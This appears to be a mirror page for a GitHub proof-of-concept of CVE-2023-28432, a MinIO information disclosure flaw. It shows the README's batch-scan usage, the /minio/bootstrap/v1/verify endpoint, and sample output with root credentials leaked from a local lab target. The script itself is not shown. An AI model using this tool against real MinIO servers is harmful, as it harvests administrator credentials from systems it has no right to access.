CVE-2023-28432 PoC — MinIO 信息泄露漏洞

Source

https://github.com/C1ph3rX13/CVE-2023-28432

Associated Vulnerability

Title:MinIO 信息泄露漏洞 (CVE-2023-28432)
Description:MinIO是美国MinIO公司的一款开源的对象存储服务器。该产品支持构建用于机器学习、分析和应用程序数据工作负载的基础架构。 MinIO 存在信息泄露漏洞，该漏洞源于在集群部署中MinIO会返回所有环境变量，导致信息泄露。

Description

CVE-2023-28432 Minio Information isclosure Exploit

Readme

# CVE-2023-28432

CVE-2023-28432 Minio Information isclosure Exploit

## Usage

+ 将`url`写入`urls.txt`，直接运行`python CVE-2023-28432.py `即可
+ 兼容格式：`http://ip:port`，`ip:port`

```powershell
python CVE-2023-28432.py 

     ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗       ██████╗  █████╗ ██╗  ██╗██████╗ ██████╗ 
    ██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗      ╚════██╗██╔══██╗██║  ██║╚════██╗╚════██╗
    ██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗ █████╔╝╚█████╔╝███████║ █████╔╝ █████╔╝
    ██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝██╔═══╝ ██╔══██╗╚════██║ ╚═══██╗██╔═══╝ 
    ╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝      ███████╗╚█████╔╝     ██║██████╔╝███████╗
     ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝       ╚══════╝ ╚════╝      ╚═╝╚═════╝ ╚══════╝
                                                                            
                                                                            @Auth: C1ph3rX13
                                                                            @Blog: https://c1ph3rx13.github.io
                                                                            @Note: 代码仅供学习使用，请勿用于其他用途                                                                                                          
    
2023-12-07 14:15:23.856 | INFO     | __main__:check_url:103 - Checking Url: http://127.0.0.1:9000/minio/bootstrap/v1/verify
2023-12-07 14:15:23.863 | SUCCESS  | __main__:send_request:126 - Root User: minioadmin
2023-12-07 14:15:23.863 | SUCCESS  | __main__:send_request:127 - Root Password: minioadmin-vulhub
2023-12-07 14:15:23.863 | INFO     | __main__:check_url:103 - Checking Url: http://127.0.0.1:9000/minio/bootstrap/v1/verify
2023-12-07 14:15:23.866 | SUCCESS  | __main__:send_request:126 - Root User: minioadmin
2023-12-07 14:15:23.866 | SUCCESS  | __main__:send_request:127 - Root Password: minioadmin-vulhub
```

File Snapshot


 [4.0K]  /data/pocs/9835829155803423d7023615a9e63787550b4cef
├── [6.1K]  CVE-2023-28432.py
├── [1.0K]  LICENSE
├── [3.1K]  README.md
└── [  36]  urls.txt

0 directories, 4 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!